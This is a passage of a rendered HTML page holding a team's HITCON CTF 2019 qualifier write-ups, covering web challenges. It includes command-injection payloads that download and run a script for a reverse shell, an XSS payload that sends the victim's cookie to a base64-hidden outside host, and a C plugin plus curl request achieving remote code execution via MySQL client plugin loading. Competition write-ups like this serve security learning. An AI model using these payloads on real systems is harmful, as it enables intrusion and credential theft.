-
Notifications
You must be signed in to change notification settings - Fork 38
/
Copy pathindex.html
3210 lines (2945 loc) · 380 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE HTML>
<!-- This page is modified from the template https://www.codeply.com/go/7XYosZ7VH5 by Carol Skelly (@iatek). -->
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>HITCON CTF 2019 Quals</title>
<link type="text/css" rel="stylesheet" href="../assets/css/github-markdown.css">
<link type="text/css" rel="stylesheet" href="../assets/css/pilcrow.css">
<link type="text/css" rel="stylesheet" href="../assets/css/hljs-github.min.css"/>
<link type="text/css" rel="stylesheet" href="../assets/css/bootstrap-4.0.0-beta.3.min.css">
<script type="text/javascript" src="../assets/js/jquery-3.3.1.slim.min.js"></script>
<script type="text/javascript" src="../assets/js/bootstrap-4.0.0-beta.3.min.js"></script>
<script type="text/javascript" src="../assets/js/popper-1.14.3.min.js"></script>
<script type="text/javascript" src="../assets/js/mathjax-2.7.4/MathJax.js?config=TeX-MML-AM_CHTML"></script>
</head>
<style>
body {
padding-top: 56px;
}
.sticky-offset {
top: 56px;
}
#body-row {
margin-left:0;
margin-right:0;
}
#sidebar-container {
min-height: 100vh;
background-color: #333;
padding: 0;
}
/* Sidebar sizes when expanded and expanded */
.sidebar-expanded {
width: 230px;
}
.sidebar-collapsed {
width: 60px;
}
/* Menu item*/
#sidebar-container .list-group a {
height: 50px;
color: white;
}
/* Submenu item*/
#sidebar-container .list-group .sidebar-submenu a {
height: 45px;
padding-left: 60px;
}
.sidebar-submenu {
font-size: 0.9rem;
}
/* Separators */
.sidebar-separator-title {
background-color: #333;
height: 35px;
}
.sidebar-separator {
background-color: #333;
height: 25px;
}
.logo-separator {
background-color: #333;
height: 60px;
}
/*
active scrollspy
*/
.list-group-item.active {
border-color: transparent;
border-left: #e69138 solid 4px;
}
/*
anchor padding top
https://stackoverflow.com/a/28824157
*/
:target:before {
content:"";
display:block;
height:56px; /* fixed header height*/
margin:-56px 0 0; /* negative fixed header height */
}
</style>
<script>
// https://stackoverflow.com/a/48330533
$(window).on('activate.bs.scrollspy', function (event) {
let active_collapse = $($('.list-group-item.active').parents()[0]);
$(".collapse").removeClass("show");
active_collapse.addClass("show");
let parent_menu = $('a[href="#' + active_collapse[0].id + '"]');
$('a[href^="#submenu"]').css("border-left", "");
parent_menu.css("border-left","#e69138 solid 4px");
});
// http://docs.mathjax.org/en/latest/tex.html#tex-and-latex-math-delimiters
MathJax.Hub.Config({
tex2jax: {
inlineMath: [['$','$'], ['\\(','\\)']],
processEscapes: true
}
});
</script>
<body style="position: relative;" data-spy="scroll" data-target=".sidebar-submenu" data-offset="70">
<nav class="navbar navbar-expand-md navbar-light bg-light fixed-top">
<button class="navbar-toggler navbar-toggler-right" type="button" data-toggle="collapse" data-target="#navbarNavDropdown" aria-controls="navbarNavDropdown" aria-expanded="false" aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span>
</button>
<a class="navbar-brand" href="https://github.com/balsn/ctf_writeup">
<img src="https://github.githubassets.com/images/modules/logos_page/GitHub-Mark.png" class="d-inline-block align-top" alt="" width="30" height="30">
<span class="menu-collapsed">balsn / ctf_writeup</span>
</a>
<div class="collapse navbar-collapse" id="navbarNavDropdown">
<ul class="navbar-nav my-2 my-lg-0">
<li class="nav-item dropdown d-sm-block d-md-none">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="140px" height="30px"></iframe>
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
web
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#virtual-public-network">virtual-public-network</a>
<a class="dropdown-item" href="#bounty-pl33z">bounty-pl33z</a>
<a class="dropdown-item" href="#gogo-powersql">gogo-powersql</a>
<a class="dropdown-item" href="#luatic">luatic</a>
<a class="dropdown-item" href="#buggy-.net">buggy-.net</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
pwn
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#poe---i">poe---i</a>
<a class="dropdown-item" href="#emojiiivm">emojiiivm</a>
<a class="dropdown-item" href="#netatalk">netatalk</a>
<a class="dropdown-item" href="#🎃-trick-or-treat-🎃">🎃-trick-or-treat-🎃</a>
<a class="dropdown-item" href="#lazyhouse">lazyhouse</a>
<a class="dropdown-item" href="#one-punch-man">one-punch-man</a>
<a class="dropdown-item" href="#crypto-in-the-shell">crypto-in-the-shell</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
misc
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#revenge-of-welcome">revenge-of-welcome</a>
<a class="dropdown-item" href="#ev3-player">ev3-player</a>
<a class="dropdown-item" href="#hexdump">hexdump</a>
<a class="dropdown-item" href="#emojivm">emojivm</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
rev
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#ev3-arm">ev3-arm</a>
<a class="dropdown-item" href="#emojivm-1">emojivm-1</a>
<a class="dropdown-item" href="#core-dumb">core-dumb</a>
<a class="dropdown-item" href="#suicune">suicune</a>
</div>
</li>
<li class="nav-item dropdown d-sm-block d-md-none">
<a class="nav-link dropdown-toggle" href="#" data-toggle="dropdown" aria-haspopup="true" aria-expanded="false">
crypto
</a>
<div class="dropdown-menu" aria-labelledby="smallerscreenmenu">
<a class="dropdown-item" href="#lost-modulus-again">lost-modulus-again</a>
<a class="dropdown-item" href="#lost-key-again">lost-key-again</a>
<a class="dropdown-item" href="#very-simple-haskell">very-simple-haskell</a>
</div>
</li>
</ul>
</div>
<div class="navbar-collapse collapse w-100 order-3 dual-collapse2">
<ul class="navbar-nav ml-auto">
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=watch&count=true&size=large&v=2" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
<iframe src="https://ghbtns.com/github-btn.html?user=balsn&repo=ctf_writeup&type=star&count=true&size=large" frameborder="0" scrolling="0" width="160px" height="30px"></iframe>
</ul>
</div>
</nav>
<div class="row" id="body-row">
<div id="sidebar-container" class="sidebar-expanded d-none d-md-block col-2">
<ul class="list-group sticky-top sticky-offset">
<a href="#submenu0" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">web</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu0" class="collapse sidebar-submenu">
<a href="#virtual-public-network" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">virtual-public-network</span>
</a>
<a href="#bounty-pl33z" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">bounty-pl33z</span>
</a>
<a href="#gogo-powersql" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">gogo-powersql</span>
</a>
<a href="#luatic" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">luatic</span>
</a>
<a href="#buggy-.net" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">buggy-.net</span>
</a>
</div>
<a href="#submenu1" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">pwn</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu1" class="collapse sidebar-submenu">
<a href="#poe---i" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">poe---i</span>
</a>
<a href="#emojiiivm" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">emojiiivm</span>
</a>
<a href="#netatalk" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">netatalk</span>
</a>
<a href="#🎃-trick-or-treat-🎃" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">🎃-trick-or-treat-🎃</span>
</a>
<a href="#lazyhouse" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">lazyhouse</span>
</a>
<a href="#one-punch-man" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">one-punch-man</span>
</a>
<a href="#crypto-in-the-shell" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">crypto-in-the-shell</span>
</a>
</div>
<a href="#submenu2" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">misc</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu2" class="collapse sidebar-submenu">
<a href="#revenge-of-welcome" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">revenge-of-welcome</span>
</a>
<a href="#ev3-player" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ev3-player</span>
</a>
<a href="#hexdump" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">hexdump</span>
</a>
<a href="#emojivm" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">emojivm</span>
</a>
</div>
<a href="#submenu3" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">rev</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu3" class="collapse sidebar-submenu">
<a href="#ev3-arm" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">ev3-arm</span>
</a>
<a href="#emojivm-1" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">emojivm-1</span>
</a>
<a href="#core-dumb" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">core-dumb</span>
</a>
<a href="#suicune" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">suicune</span>
</a>
</div>
<a href="#submenu4" data-toggle="collapse" aria-expanded="false" class="list-group-item list-group-item-action flex-column align-items-start bg-dark">
<div class="d-flex w-100 justify-content-start align-items-center font-weight-bold">
<span class="fa fa-dashboard fa-fw mr-3"></span>
<span class="menu-collapsed">crypto</span>
<span class="submenu-icon ml-auto"></span>
</div>
</a>
<div id="submenu4" class="collapse sidebar-submenu">
<a href="#lost-modulus-again" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">lost-modulus-again</span>
</a>
<a href="#lost-key-again" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">lost-key-again</span>
</a>
<a href="#very-simple-haskell" class="list-group-item list-group-item-action text-white bg-dark">
<span class="menu-collapsed">very-simple-haskell</span>
</a>
</div>
</ul>
</div>
<div class="col-10 py-3">
<article class="markdown-body"><h1 id="hitcon-ctf-2019-quals"><a class="header-link" href="#hitcon-ctf-2019-quals"></a>HITCON CTF 2019 Quals</h1>
<h2 id="web"><a class="header-link" href="#web"></a>Web</h2>
<h3 id="virtual-public-network"><a class="header-link" href="#virtual-public-network"></a>Virtual Public Network</h3>
<p><code>-r$x="wget kaibro.tw/yy -O /tmp/kaibro",system$x# 2>./tmp/kaibro.thtml <</code></p>
<p><code>-r$x="sh /tmp/kaibro",system$x# 2>./tmp/kaibro.thtml <</code></p>
<p>then get reverse shell back.</p>
<p><code>/$READ_FLAG$</code></p>
<p>=> <code>hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}</code></p>
<h3 id="bounty-pl33z"><a class="header-link" href="#bounty-pl33z"></a>Bounty Pl33z</h3>
<p>This is a XSS challenge. The source code is <a href="https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2019/bounty-pl33z/www/fd.php">here</a>. For quotes, if they appear more than once, they will be removed.</p>
<p>The most tricky part is if the string we inject includes a double quote. For example, <code>"+alert(1)</code></p>
<pre class="hljs"><code><span class="hljs-title">window</span>.parent.postMessage(
<span class="hljs-class"><span class="hljs-keyword">data</span>, </span>
<span class="hljs-string">"https://"</span>+alert(<span class="hljs-number">1</span>)<span class="hljs-string">".orange.ctf"</span>
);</code></pre><p>Undoubtedly the <code>orange.ctf"</code> will throw syntax error.</p>
<p>At that time, I could not come out of any useful payload to comment out <code>orange.ctf"</code>. Therefore I decided to fuzz/brute-force 3 characters:</p>
<pre class="hljs"><code> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> j = <span class="hljs-number">0</span>; j < <span class="hljs-number">128</span>; j++) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> k = <span class="hljs-number">0</span>; k < <span class="hljs-number">128</span>; k++) {
<span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> l = <span class="hljs-number">0</span>; l < <span class="hljs-number">128</span>; l++) {
<span class="hljs-keyword">if</span> (j == <span class="hljs-number">34</span> || k ==<span class="hljs-number">34</span> || l ==<span class="hljs-number">34</span>)
<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">if</span> (j == <span class="hljs-number">0x0a</span> || k ==<span class="hljs-number">0x0a</span> || l ==<span class="hljs-number">0x0a</span>)
<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">if</span> (j == <span class="hljs-number">0x0d</span> || k ==<span class="hljs-number">0x0d</span> || l ==<span class="hljs-number">0x0d</span>)
<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">if</span> (j == <span class="hljs-number">0x3c</span> || k ==<span class="hljs-number">0x3c</span> || l ==<span class="hljs-number">0x3c</span>)
<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">if</span> (
(j == <span class="hljs-number">47</span> && k == <span class="hljs-number">47</span>)
||(k == <span class="hljs-number">47</span> && l == <span class="hljs-number">47</span>)
)
<span class="hljs-keyword">continue</span>;
<span class="hljs-keyword">try</span> {
<span class="hljs-keyword">var</span> cmd = <span class="hljs-built_in">String</span>.fromCharCode(j) + <span class="hljs-built_in">String</span>.fromCharCode(k) + <span class="hljs-built_in">String</span>.fromCharCode(l) + <span class="hljs-string">'a.orange.ctf"'</span>;
<span class="hljs-built_in">eval</span>(cmd);
} <span class="hljs-keyword">catch</span>(e) {
<span class="hljs-keyword">var</span> err = e.toString().split(<span class="hljs-string">'\n'</span>)[<span class="hljs-number">0</span>].split(<span class="hljs-string">':'</span>)[<span class="hljs-number">0</span>];
<span class="hljs-keyword">if</span> (err === <span class="hljs-string">'SyntaxError'</span> || err === <span class="hljs-string">"ReferenceError"</span>)
<span class="hljs-keyword">continue</span>
err = e.toString().split(<span class="hljs-string">'\n'</span>)[<span class="hljs-number">0</span>]
}
<span class="hljs-built_in">console</span>.log(err,cmd);
}
}
}</code></pre><p>The output really surprised me. The following are all valid js comment syntax:</p>
<pre class="hljs"><code><span class="hljs-meta">#!a.orange.ctf"</span>
-->a.orange.ctf<span class="hljs-string">"</span></code></pre><p>The first <a href="https://github.com/tc39/proposal-hashbang">shebang syntax</a> has to be in the start of the js, which means it is not very useful in this challenge.</p>
<p>However, the second one is interesting. This seems to be <a href="https://www.ecma-international.org/ecma-262/10.0/index.html#prod-annexB-HTMLCloseComment">a valid comment syntax</a> in ECMA. Well.... it's javascript!</p>
<p>There is still one problem. The <code>--></code> comment syntax must be the start of the line, but <code>\n\r</code> are all filtered. I start to wonder there exists an unicode newline or not, and I find this <a href="https://stackoverflow.com/questions/50156996/replace-n-with-unicode-to-display-new-line-in-html-correctly">stackoverflow</a> post.</p>
<p>Anyway, let's fuzz/brute-force again!</p>
<pre class="hljs"><code> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">let</span> j = <span class="hljs-number">0</span>; j < <span class="hljs-number">65536</span>; j++) {
<span class="hljs-keyword">try</span> {
<span class="hljs-keyword">var</span> cmd = <span class="hljs-string">'"aaaaa";'</span>+<span class="hljs-built_in">String</span>.fromCharCode(j) + <span class="hljs-string">'-->a.orange.ctf"'</span>;
<span class="hljs-built_in">eval</span>(cmd);
} <span class="hljs-keyword">catch</span>(e) {
<span class="hljs-keyword">var</span> err = e.toString().split(<span class="hljs-string">'\n'</span>)[<span class="hljs-number">0</span>].split(<span class="hljs-string">':'</span>)[<span class="hljs-number">0</span>];
<span class="hljs-keyword">if</span> (err === <span class="hljs-string">'SyntaxError'</span> || err === <span class="hljs-string">"ReferenceError"</span>)
<span class="hljs-keyword">continue</span>;
err = e.toString().split(<span class="hljs-string">'\n'</span>)[<span class="hljs-number">0</span>]
}
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">`[<span class="hljs-subst">${err}</span>]`</span>,j,cmd);
}</code></pre><p><code>charCode(8233)</code> and <code>charCode(8233)</code> will be parsed as newline in javascript.</p>
<p>This payload can pop an alert: <code>http://3.114.5.202/fd.php?q="%2balert(1)%e2%80%a8--></code></p>
<p>The final payload:</p>
<pre class="hljs"><code>http:<span class="hljs-regexp">//</span><span class="hljs-number">3.114</span>.<span class="hljs-number">5.202</span>/fd.php?<span class="hljs-keyword">q</span>=%22%2bfetch(atob(<span class="hljs-string">`Ly8xMzMuMjIxLjMzMy4xMjM6MTIzNC8/YT0K`</span>)%2bbtoa(document%5B%60cookie%60%5D))%e2%80%a8--%3E</code></pre><p>The flag is <code>hitcon{/FD 1s 0ur g0d <(_ _)>}</code>.</p>
<p>Actually, I was also playing with parentheses and template literal (backtick), but I failed to create a successful payload. To my surprise, there is actually an unintended solution exploiting parentheses. Check out <a href="https://twitter.com/terjanq/status
/1183633977455861760">terjanq's</a> payload, or <a href="https://github.com/orangetw/My-CTF-Web-Challenges#unintended-solution">this one</a>.</p>
<p>Fun fact: The idea seems to be from a challenge in <a href="https://github.com/cure53/XSSChallengeWiki/wiki/prompt.ml#level-8">Cure53 XSS wiki</a>, and the first author <a href="https://twitter.com/filedescriptor">filedescriptor (fd)</a> is working in Cure53.</p>
<h3 id="gogo-powersql"><a class="header-link" href="#gogo-powersql"></a>GoGo PowerSQL</h3>
<p>The sever is running <a href="https://github.com/embedthis/goahead">GoAhead v4.0.0</a> + CGI + mysql. The CGI program will read MySQL host ip from a config file, and there is a BSS overflow which we can overwrite the MySQL host ip. However, the characters are limited in alphabets only. Therefore we decided to exploit the webserver itself.</p>
<p>We checked the <a href="https://github.com/embedthis/goahead/issues/262">CVE-2017-17562</a> on older GoAhead webservers. There is also a <a href="https://www.elttam.com.au/blog/goahead/">good article</a> describing this vulnerability. Although it's fixed on 4.0.0, reading it should help me exploit this webserver. Surprising we found "the fix" was just <a href="https://github.com/embedthis/goahead/blob/32deeb00a106f3d1a7bdc21671123d97f05378b6/src/cgi.c#L168-L177">filtering a bunch of sensitive environment variables</a>.</p>
<p>However, the CGI executable uses <code>libmysqlclient</code>. It's possible that we can pollute some environment variable to reach RCE via mysql library. After browsing the <a href="https://dev.mysql.com/doc/refman/5.7/en/environment-variables.html">MySQL 5.7 doc</a>, one of them catches my eyes.</p>
<pre class="hljs"><code>LIBMYSQL_PLUGINS Client plugins <span class="hljs-keyword">to</span> preload.</code></pre><p>And it turns out that it can load <code>.so</code> library as plugins. I quickly made a simple RCE hook in C:</p>
<pre class="hljs"><code><span class="hljs-comment">// gcc -shared -fPIC cmd.c -o cmd.so</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> _GNU_SOURCE</span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdlib.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><stdio.h></span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string"><string.h></span></span>
<span class="hljs-keyword">extern</span> <span class="hljs-keyword">char</span>** environ;
__attribute__ ((__constructor__)) <span class="hljs-function"><span class="hljs-keyword">void</span> <span class="hljs-title">preload</span> <span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
system(getenv(<span class="hljs-string">"CMD"</span>));
}</code></pre><p>We can easily RCE through the commands. Basically it's similar to <code>LD_PRELOAD</code>.</p>
<pre class="hljs"><code><span class="hljs-keyword">CMD</span><span class="bash">=<span class="hljs-string">"yes"</span> LIBMYSQL_PLUGIN_DIR=`<span class="hljs-built_in">pwd</span>` LIBMYSQL_PLUGINS=<span class="hljs-string">"cmd.so"</span> QUERY_STRING=<span class="hljs-string">"name=a"</span> ./query</span></code></pre><p>(<code>QUERY_STRING</code> is the GET parmeters passing to the CGI executable <code>query</code>)</p>
<p>Also, based on the exploit of <a href="https://www.elttam.com.au/blog/goahead/">CVE-2017-17562</a>, we could probably use <code>/proc/self/fd/0</code> to upload our malicious library.</p>
<p>However, MySQL library will always append <code>.so</code> on the name of plugins. So if the plugin is named <code>foo</code>, it will load <code>foo.so</code> from the directory specified. We stuck here for a few hours and we can't find a way to bypass this.</p>
<p>Until I read <a href="https://github.com/mysql/mysql-server/blob/4869291f7ee258e136ef03f5a50135fe7329ffb9/sql-common/client_plugin.cc#L442">mysql source code</a>:</p>
<pre class="hljs"><code><span class="hljs-keyword">int</span> FN_REFLEN = <span class="hljs-number">512</span>;
<span class="hljs-keyword">char</span> dlpath[FN_REFLEN + <span class="hljs-number">1</span>];
strxnmov(dlpath, <span class="hljs-keyword">sizeof</span>(dlpath) - <span class="hljs-number">1</span>, plugindir, <span class="hljs-string">"/"</span>, name, <span class="hljs-string">".so"</span>, NullS);
<span class="hljs-function"><span class="hljs-keyword">char</span> *<span class="hljs-title">strxnmov</span><span class="hljs-params">(<span class="hljs-keyword">char</span> *dst, <span class="hljs-keyword">size_t</span> len, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *src, ...)</span> </span>{
va_list pvar;
<span class="hljs-keyword">char</span> *end_of_dst = dst + len;
va_start(pvar, src);
<span class="hljs-keyword">while</span> (src != NullS) {
<span class="hljs-keyword">do</span> {
<span class="hljs-keyword">if</span> (dst == end_of_dst) <span class="hljs-keyword">goto</span> end;
} <span class="hljs-keyword">while</span> ((*dst++ = *src++));
dst--;
src = va_arg(pvar, <span class="hljs-keyword">char</span> *);
}
end:
*dst = <span class="hljs-number">0</span>;
va_end(pvar);
<span class="hljs-keyword">return</span> dst;
}</code></pre><p>Thanks to this, if the filepath is more than 512 bytes, <code>.so</code> will get truncated.</p>
<pre class="hljs"><code>curl -X POST --data-binary @.<span class="hljs-regexp">/cmd.so 'http:/</span><span class="hljs-regexp">/13.231.38.172/</span>cgi-bin<span class="hljs-regexp">/query?LIBMYSQL_PLUGIN_DIR=/</span><span class="hljs-regexp">/proc/</span>self<span class="hljs-regexp">/fd&LIBMYSQL_PLUGINS=./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span class="hljs-regexp">/./</span>.<span 